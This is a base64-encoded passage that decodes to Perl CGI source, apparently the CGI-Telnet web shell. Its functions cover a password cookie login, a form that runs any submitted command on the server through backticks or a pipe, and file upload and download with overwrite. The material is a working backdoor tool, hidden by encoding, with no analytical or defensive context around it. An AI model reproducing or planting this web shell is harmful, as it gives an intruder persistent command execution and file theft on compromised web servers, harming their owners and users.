S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRU